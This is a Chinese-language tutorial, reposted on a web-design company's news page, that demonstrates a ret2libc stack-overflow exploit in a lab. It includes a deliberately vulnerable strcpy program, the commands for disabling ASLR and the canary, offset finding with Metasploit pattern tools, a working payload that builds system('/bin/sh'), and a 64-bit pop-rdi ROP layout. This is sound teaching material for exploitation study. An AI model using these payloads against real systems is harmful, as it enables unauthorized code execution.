资讯动态

Ret2libc实战:绕过NX与ASLR的栈溢出利用详解

发布时间:2026/10/21 18:18:43 来源:尧图企业网站定制
第一次做栈溢出练习的时候我满脑子都是“往栈里塞一段 shellcode再改掉返回地址直接跳过去”好像只要把 eip 抢过来就万事大吉。直到我给实验环境开启了 NX 防护发现自己精心准备的机器码一个都没执行程序直接段错误才意识到这个思路在真实场景里是被按在地上摩擦的。真正能落地的手段之一就是这篇要聊的 Return-to-libc也叫 ret2libc实验——不执行新代码转而复用进程里已经加载好的 libc 函数把控制流改到 system、execve 这类现成入口上照样拿到 shell。这篇内容适合已经做过最基础的栈溢出、知道怎么覆盖返回地址但还想进一步理解防护绕过思路的朋友。我会以 Ubuntu 16.04 为例从头搭环境、定位偏移、查 libc 符号到最后完整跑通 ret2libc还会把那些坑一个不落地摆出来。1. 为什么 Ret2libc 会成为栈溢出的第三节必修课1.1 一个最简单的认知转换不是“写代码”而是“拼参数”传统栈溢出的套路大家应该都熟程序里有缓冲区溢出我把返回地址覆盖为 shellcode 的栈地址CPU 执行我塞进去的机器码。这个思路在栈可执行的时代非常好用但现在主流系统默认把栈标记为不可执行你在栈上放任何机器码都会触发段错误唯一能正常执行的区域只有代码段和已经映射的共享库。此时问题就变成了我能不能不靠“新增代码”而是把程序的控制流修改到一个已经存在的、能帮我完成目标的函数上这个函数在 libc 里到处都是system 就是最容易想到的一个。它接受一个字符串参数并调用 shell 解释器执行这个字符串那我们只要让它拿到一个/bin/sh参数shell 就到手了。这就是 ret2libc 最朴素的内核程序里没有 shellcode也不需要 shellcode我只负责把栈上的返回地址“重定向”到 libc 函数入口再把函数参数提前布置好。攻击代码从“一段新机器码”变成了“一组栈上的地址排列”难度实际上不升反降因为不用再处理可执行栈和指令编码。1.2 这门课真正要练的能力是什么很多人以为 ret2libc 的关键是记住system地址和/bin/sh地址然后拼一起就行。实际上等你亲手做一遍就会发现真正的难点有三块一是怎么准确算出返回地址在输入中的偏移这一算错整个 payload 全部作废二是怎么在关闭 ASLR 的前提下稳定获取 libc 函数地址三是理解栈上“返回地址、伪返回地址、参数”这三者的顺序为什么不是随意排列。这三块能力是后面 ROP、ret2dlresolve、堆利用这些东西的共同地基。你在这篇实验里把“基于 libc 的控制流劫持”想透了再去看 64 位下的 ROP会发现本质上就是同一件事只是参数传递方式变了。所以这篇实验才配叫“进阶版”——它不是教你多一个攻击手法而是帮你建立“复用现有代码”的思维模式。2. Ubuntu 16.04 实验环境把 ASLR 关掉把 NX 留下2.1 为什么非要选 Ubuntu 16.04做这个实验系统版本其实不用太纠结但 Ubuntu 16.04 有一个很方便的地方它自带的 gcc 5.4 默认没有开启 PIE32 位程序编译出来加载地址是固定的配合关闭 ASLR 之后libc 基址也非常稳定非常适合教学。如果你用 18.04 以后的系统不仅默认 PIEgcc 参数也变了不少新手很容易被“为什么每次地址都不一样”搞到心态崩溃。不是说新系统做不了而是 16.04 最适合把注意力放在 ret2libc 本身不用分心处理各种系统默认安全选项。我自己当时是在虚拟机里装了个 16.04 的 32 位环境内存给 2GB装完必要工具直接开搞测完快照一恢复干净又安全。2.2 关掉该关的留一个不该关的整个环境准备就围绕两个系统层面选项ASLR 和栈保护。ASLR 必须关因为 ret2libc 第一步就是猜测函数地址实验环境没必要和它对抗。栈保护也就是 Stack Canary 必须关否则编译完成后程序会在函数返回前检测栈帧是否被修改我们一覆盖返回地址就会触发__stack_chk_fail直接终止进程。但要注意NX 防护要留下。这个实验的意义就是证明“即使栈不可执行也能通过复用 libc 拿到 shell”。如果编译时加-z execstack把栈搞成可执行那又退回 shellcode 老路了等于白做。正确操作是编译时明确使用-Wl,-z,noexecstack确保栈区没有执行权限。先关 ASLR并查看确认状态sudo sysctl -w kernel.randomize_va_space0 cat /proc/sys/kernel/randomize_va_space输出的0就代表三种随机化栈、mmap、堆全关了。实验结束后记得改回2sudo sysctl -w kernel.randomize_va_space22.3 vulnerable.c一个故意留洞的样例程序我用的样例程序非常短关键是里面用了一个不安全的strcpy#include stdio.h #include string.h void vulnerable(char *input) { char buffer[100]; strcpy(buffer, input); } int main(int argc, char **argv) { if (argc 1) { vulnerable(argv[1]); puts(Returned normally.); } return 0; }这个程序的缓冲区只有 100 字节strcpy却不限制长度。我们通过命令行参数传入超长字符串时buffer被溢出数据会一路覆盖到保存的 ebp、返回地址再往后就是 main 的栈帧内容。编译命令如下gcc -m32 -fno-stack-protector -Wl,-z,noexecstack -g -o vuln vuln.c如果系统缺 32 位库先装sudo apt-get install gcc-multilib编译时-m32是为了生成 32 位程序。32 位下函数参数走栈传递ret2libc 的 payload 布局非常直观64 位下参数走寄存器需要额外 gadget我放到后面单独讲。-g保留调试信息方便 gdb 里查看变量和地址。编译完成后可以先用 gdb 看了一眼进程内存映射确认栈区权限是rw-p而不是rwxp这就说明 NX 生效shellcode 那种方案在这里是行不通的。3. 定位返回地址偏移上一秒还在跑下一秒 EIP 落进 pattern3.1 为什么偏移量必须靠实验测不能想当然你可能会想char buffer[100]那返回地址不就是 100 字节之后吗再加 4 字节的旧 ebp偏移应该是 104。大部分教材确实这么写但实际编译出来的栈布局往往不是教科书那样子编译器可能会为了对齐把变量往下挪几个字节也可能因为调试信息或者局部变量排列不同而出现额外空间。我记得第一次实验以为 offset104 就能精准命中结果 EIP 落在了我 payload 靠后的位置整个 shell 当然没起来。后来用 pattern 一测发现实际的偏移并不是 104。从那以后我就养成了习惯任何栈溢出实验第一件事永远是先量化出准确偏移而不是拿眼睛估算。3.2 用 pattern 跑出崩溃点pattern 是一串由有序字符组成的特征串长度可自定义。把超长 pattern 作为输入传进程序程序崩溃时 EIP 指向的四个字节一定来自 pattern 的某一段我们只要记录这个值再用工具反查它在 pattern 中的位置就能直接得到偏移。如果你用的是 gdb-peda它自己就带pattern create和pattern offset不用额外装工具。这里我用最通用的办法示意gdb -q ./vuln (gdb) run $(python2 -c import sys; sys.stdout.write(AAA0AAA1AAA2AAA3AAA4AAA5AAA6AAA7AAA8AAA9...))pattern 串通常用 metasploit 的pattern_create生成200 字节足够/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200把生成的串复制进 gdb 运行程序崩掉后 gdb 会告诉你类似EIP: 0x356a3433这样的值这就是特征串中的四个字符对应的十六进制。接着反查偏移/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x356a3433如果输出是108那就说明 payload 的前 108 个字节都是填充第 108 到 112 字节才是返回地址的位置。3.3 手动验证一次把原理钉死拿到偏移后我习惯再做一次减法验证用 108 个A加四个B作为输入gdb 里如果 EIP 正好是0x42424242那说明偏移没测错。这一步能帮你确认不是 pattern 工具统计口径不同造成的偏差也能让你亲眼看到返回地址确实被我们控制住了。这个“先崩一次再手动确认”的过程是后面所有进阶利用的第一步。很多人在复现 ret2libc 时直接跳过偏移定位照着人家给的 payload 格式改地址结果失败了完全不知道问题出在哪往往就是栽在这一步。4. 侦察 libc三个地址里两个函数一个字符串4.1 最直接的办法gdb 里查符号地址偏移确定了下一步是找目标地址。我们的 payload 需要三个关键值system函数入口地址、exit函数入口地址、/bin/sh字符串地址。这里有两个函数一个字符串所以标题说“三个地址”。最简单的办法是把程序跑起来停在任意一条指令上然后让 gdb 显示符号(gdb) start (gdb) p system $1 0xf7e3b170 (gdb) p exit $2 0xf7e3c150这是在 ASLR 已关闭的前提下gdb 加载程序后 libc 被映射到固定地址所以符号地址是稳定且可直接使用的。这个地址不是“相对于 libc 的偏移”而是进程内存里的绝对地址payload 里填的就是它。如果发现 gdb 里system地址后面带了一点不确定性或者地址在不同进程间跳来跳去那十有八九是 ASLR 没关干净。去检查/proc/sys/kernel/randomize_va_space确保是0再重新启动 gdb。4.2 用 readelf 和 grep 从文件层面拿地址gdb 虽然方便但它的输出依赖调试环境和加载顺序某些场景下更稳妥的做法是直接从 libc 文件里提取符号偏移再手动计算运行时地址。在 Ubuntu 16.04 的 32 位环境libc 路径一般是/lib/i386-linux-gnu/libc.so.6。先看system的偏移readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w system输出里会有一列地址比如0003b170这就是system相对于 libc 基址的偏移。同理查exit和/bin/shgrep -aob /bin/sh /lib/i386-linux-gnu/libc.so.6-b让 grep 输出匹配内容所在文件的字节偏移得到类似159dd0的值这就是/bin/sh字符串在 libc 文件里的偏移。接着用ldd查看程序运行时 libc 的加载基址ldd ./vuln输出通常是这样的libc.so.6 /lib/i386-linux-gnu/libc.so.6 (0xf7e00000)ASLR 关闭时这个基址固定那么system 运行时地址 0xf7e00000 0x0003b170 0xf7e3b170 /bin/sh 运行时地址 0xf7e00000 0x00159dd0 0xf7f59dd0我自己在实际操作中两种方法都会用gdb 查得快适合验证readelf 加 ldd 算偏移适合理解全局。两道工序都做一遍能确保地址不是侥幸蒙对的。4.3 不同机器千万别抄地址这里必须拉一条红线上面的地址只是“在我的实验环境里成立的示例值”换了任何一部机器哪怕同样是 Ubuntu 16.04只要 libc 版本不同数字就会变。网上现成 writeup 里的地址拿来跑你本地程序几乎不可能成功这不是操作问题而是地址本来就是环境相关的东西。所以做这个实验的正确姿势是把上面几条命令自己的输出记下来地址以自己环境为准。等到以后做堆利用、ROP 链的时候你还会遇到取证、泄漏地址、计算基址这些更复杂的需求那时候你会感谢现在养成了“不抄地址、手动计算”的习惯。5. 组装 payload 并拿到 shell一段由 ret 指令“扮演”的函数调用5.1 为什么 payload 的顺序是 system、exit、/bin/sh这是 ret2libc 最核心的一步我先把栈布局讲透。当我们让 vulnerable 函数执行ret指令时CPU 会从栈顶弹出一个值当作下一条指令地址然后栈指针上移。正常情况下这个值是我们覆盖的返回地址但在 ret2libc 里我们让它变成system的地址。关键在这里ret指令执行完之后栈指针指向的位置会被system函数当成“函数返回地址”。在正常的函数调用中函数返回地址后面才是参数所以我们要在system_addr后面紧跟两个值第一个是伪装成返回地址的exit_addr第二个是真正的参数/bin/sh地址。栈上三连system_addr、exit_addr、binsh_addr。用一句直白的话概括返回地址我们没办法直接“调”system就伪造了一次完整的函数调用把“调完 system 之后干嘛”这个问题的答案填成了exit。这样即使 system 成功执行完程序也会调用exit干净退出而不是回到乱糟糟的栈上继续执行。5.2 生成 payload偏移按 108 算整套 payload 是填充 108 字节 | system 地址 | exit 地址 | /bin/sh 地址写成 Python 生成器import struct offset 108 system_addr 0xf7e3b170 # 以本机为准 exit_addr 0xf7e3c150 # 以本机为准 binsh_addr 0xf7f59dd0 # 以本机为准 payload bA * offset payload struct.pack(I, system_addr) payload struct.pack(I, exit_addr) payload struct.pack(I, binsh_addr) with open(payload.bin, wb) as f: f.write(payload)注意struct.pack(I, ...)表示按小端序打包一个 32 位无符号整数。x86 是小端架构所以地址在内存里是低位字节在前比如0xf7e3b170的字节序列就是\x70\xb1\xe3\xf7。这一步如果搞成大端payload 进去之后地址全反着读必然崩溃。因为我们的程序从 argv[1] 接收输入需要在命令行里把 payload 作为参数传进去。为了让 python 输出的字节原封不动使用sys.stdout.write而不是print否则末尾多一个换行符虽然大概率没事但没必要./vuln $(python2 -c import sys; sys.stdout.write(A*108 \x70\xb1\xe3\xf7 \x50\xc1\xe3\xf7 \xd0\x9d\xf5\xf7))如果成功程序不会打印Returned normally.而是直接进入一个交互式 shell 环境说明system(/bin/sh)已经被执行。5.3 实战中你会看到的“诡异安静”第一次跑通这个实验时我的第一反应是“怎么什么都没打印”因为正常情况下程序结束前会输出Returned normally.ret2libc 成功后控制流早就被改道了那行puts根本不会执行。取而代之的是 shell 进程在等着你的指令。进入 shell 后可以输入命令验证身份和目标id whoami如果你看到输出的是当前用户而不是什么奇怪身份并且能正常执行ls、cat说明整个实验链路跑通了。到这一步一个不依赖 shellcode、纯靠“伪造函数调用”的栈溢出利用就算完整落地。5.4 从 gdb 到命令行为什么贴脸调试成功不代表万事大吉有一种常见情况在 gdb 里跑同样的 payloadshell 出来了退出 gdb 回到终端再跑却段错误了。很多人因此怀疑是 gdb 的调试器影响了内存布局。其实在 ASLR 已关闭、地址也确认过的情况下更常见的原因是环境变量差异gdb 启动程序时环境变量比 shell 多栈的起点受影响但 libc 的基址通常不会跟着变所以这种不一致性主要影响的是“栈上变量地址”相关的利用而 ret2libc 用的是 libc 固定地址理论上不受影响。如果命令行里真的失败了优先确认三件事ASLR 有没有被某个启动脚本重新打开、地址是否来自当前进程而不是 gdb 里的旧进程、以及 payload 里有没有被终端转义搞坏的字符。我通常会把 payload 写成文件再通过一个小工具喂给程序避免一遍遍手敲。6. 翻车现场和排查顺序NUL 截断、ASLR 残留、栈对齐6.1 地址里夹带 0x00 的截断问题这是用字符串类函数触发溢出时最经典的一个坑。argv[1] 是以 C 字符串方式传进来的strcpy在拷贝时遇到字节0x00就会停下来导致后面的数据全部丢失。如果我们要写入的地址里恰好有某个字节是0x00payload 就被拦腰斩断。比如某个system地址是0xf7e00050小端存成\x50\x00\xe0\xf7这个\x00足以让strcpy停止。而实验环境里很多符号地址确实可能落在低位字节为 0 的对齐地址上。遇到这种情况最简单的办法是改输入通道把 payload 写进文件然后让程序用gets或fgets从 stdin 读取因为这类函数按行读不会把0x00当成终止符。如果实验目标要求必须是 argv 传参那就得换一个不含0x00的函数地址或者考虑用strncpy系列的非标准技巧但那就有点偏离 ret2libc 教学主线性了。反正先记住地址带00时第一反应不是叹气而是换个输入方式。6.2 ASLR 残留看似关了其实没关干净Ubuntu 的 ASLR 是randomize_va_space这个内核参数控制的0表示完全关闭。但很多教程会让你用setarch $(uname -m) -R ./vuln这种方法给单次程序临时关 ASLR这招在某些发行版验证过可行在另一些系统上效果并不完整尤其是涉及 PIE 程序时-R只关了 stack 和 mmap 的随机化程序本体加载地址还是会随机。所以我的建议是实验环境里直接用sysctl -w kernel.randomize_va_space0全局关掉测完再恢复。这能在根源上避免“一会儿行一会儿不行”的玄学情况。如果你非要开着 ASLR 做 ret2libc那你就进入了一门更复杂的技术——先泄漏 libc 地址再动态计算那不是这篇的讨论范围但至少你要明白关不干净的 ASLR 看起来和没关一样。6.3 system 调用后的栈对齐问题32 位下这个坑不太常见因为参数全走栈system内部不会强依赖栈对齐。但在 64 位下情况完全不同glibc 某些版本的system内部会用到要求栈按 16 字节对齐的 SIMD 指令如果攻击者直接把控制流跳到system栈指针不对齐函数内部执行到一半就崩溃。这个问题对 32 位 ret2libc 的启示是不要以为拿到地址就稳了函数入口对栈的要求、调用约定的细节都会影响攻击是否成功。多留一个心眼失败时先检查是不是地址算错再看是不是栈对齐或调用约定问题。6.4 排查顺序建议我在实际排错时有一套固定顺序能省很多时间用 gdb 再次验证 payload 中的三个地址是否分别为 system、exit、/bin/sh小端字节序是否正确。确认 ASLR 状态为关闭且程序没有被其他启动方式重新开启随机化。查看 payload 是否存在0x00截断尤其是 argv 传参场景。检查编译参数是否真的关闭了栈保护objdump看程序里有没有__stack_chk_fail引用。把 payload 从命令行改为文件输入排除 shell 转义和长度限制的干扰。这套顺序基本上覆盖了 90% 的翻车原因。养成这种“按环节定位”的排错习惯和你直接在网上搜报错是两种完全不同的成长速度。7. 32 位跑通之后64 位为什么还要多一步 pop rdi; ret7.1 64 位调用约定让“直接 ret”失效了32 位程序里函数参数全都压在栈上所以 ret2libc 只需要把system地址和参数按顺序摆好。但 64 位系统使用的是 System V 调用约定前六个整数参数走寄存器rdi、rsi、rdx、rcx、r8、r9。也就是说即便我们让ret跳到了systemsystem会去读取 rdi 寄存器而不是栈上的值如果 rdi 里不是/bin/sh地址它就不会执行我们想要的命令。所以 64 位下的 ret2libc 必须想办法先控制 rdi。这就要借助 gadget——一段以ret结尾的现成指令片段最经典的就是pop rdi; ret。它的作用是从栈上弹一个值到 rdi然后立刻执行 ret把控制流交给栈上下一个地址。7.2 一个 64 位 payload 的布局雏形假设我们找到了pop rdi; ret的地址64 位 payload 的基本形式就变成填充 | pop_rdi_ret 地址 | /bin/sh 地址 | system 地址 | exit 地址执行过程是这样的ret 跳到pop rdi; ret这个 gadget 先把栈顶的/bin/sh地址弹进 rdi然后执行自己的 ret跳到栈上返回地址位置的system此时 rdi 已经是目标参数system 就能正常运行。这就是 64 位 ROP 的最小子集。在 64 位环境下找 gadget可以装 ROPgadgetROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only pop|ret | grep rdi输出里会列出若干可用地址。同样注意地址必须基于当前环境动态换算不能生搬硬套。7.3 栈对齐64 位里最容易忽略的额外一坑64 位 ret2libc 比 32 位多的不只是 gadget还有对齐问题。很多人在找齐pop rdi; ret和system地址后payload 依然崩出SIGSEGV。原因很可能是调用system时栈指针没有满足 16 字节对齐导致函数内部的movaps指令触发未对齐访问。解决办法是在 gadget 链开头多加一个单独的ret指令填充 | ret 地址 | pop_rdi_ret 地址 | /bin/sh 地址 | system 地址 | exit 地址多出的这个ret能把栈指针向前推进 8 字节从而满足对齐要求。不要觉得这只是玄学等你亲手碰到一次 “payload 看起来没问题但就是崩” 的经历就会明白这种细节在真实利用中能卡你一整天。我个人实际体会是32 位 ret2libc 是打底64 位 ROP 才是这个思路的完全体。先把 32 位这套“在栈上伪造函数调用”的图像刻进脑子再上手 64 位的 gadget 链会顺很多。要是倒过来直接看 64 位 payload很容易被各种 gadget 绕晕。至于更复杂的地址泄漏、沙箱绕过那是后面的路。最后再提一句这一切实验都请放在自己的隔离虚拟机里做别拿没有授权的系统练手。栈溢出的本质是控制流劫持学会它是为了理解系统机制而不是去制造麻烦。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑